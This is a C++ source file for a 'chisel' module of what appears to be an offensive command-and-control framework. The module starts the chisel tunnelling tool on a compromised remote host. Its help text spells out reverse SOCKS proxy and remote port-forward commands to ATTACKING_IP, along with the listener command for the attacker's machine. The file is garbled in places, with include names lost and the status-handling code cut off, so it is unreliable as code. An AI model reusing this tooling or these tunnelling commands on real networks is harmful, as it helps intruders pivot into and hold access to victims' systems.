#include "Chisel.hpp" #include #include "Common.hpp" #include "Tools.hpp" using namespace std; constexpr std::string_view moduleName = "chisel"; constexpr unsigned long long moduleHash = djb2(moduleName); #define BUFSIZE 512 #ifdef _WIN32 __declspec(dllexport) Chisel* A_ChiselConstructor() { return new Chisel(); } #else __attribute__((visibility("default"))) Chisel* ChiselConstructor() { return new Chisel(); } #endif Chisel::Chisel() #ifdef BUILD_TEAMSERVER : ModuleCmd(std::string(moduleName), moduleHash) #else : ModuleCmd("", moduleHash) #endif { } Chisel::~Chisel() { } std::string Chisel::getInfo() { std::string info; #ifdef BUILD_TEAMSERVER info += "Chisel:\n"; info += "Launch chisel in a thread on the remote server.\n"; info += "No output is provided.\n"; info += "exemple:\n"; info += "- chisel status\n"; info += "- chisel stop pid\n"; info += "Reverse Socks Proxy:\n"; info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n"; info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; info += "Remote Port Forward:\n"; info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n"; info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; #endif return info; } int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) if (splitedCmd.size() == 2) { if(splitedCmd[1]=="status") { std::string msg; for(int i=0; i inst; inst.first = pid; inst.second = c2RetMessage.cmd(); m_instances.push_back(inst); } } return 0; }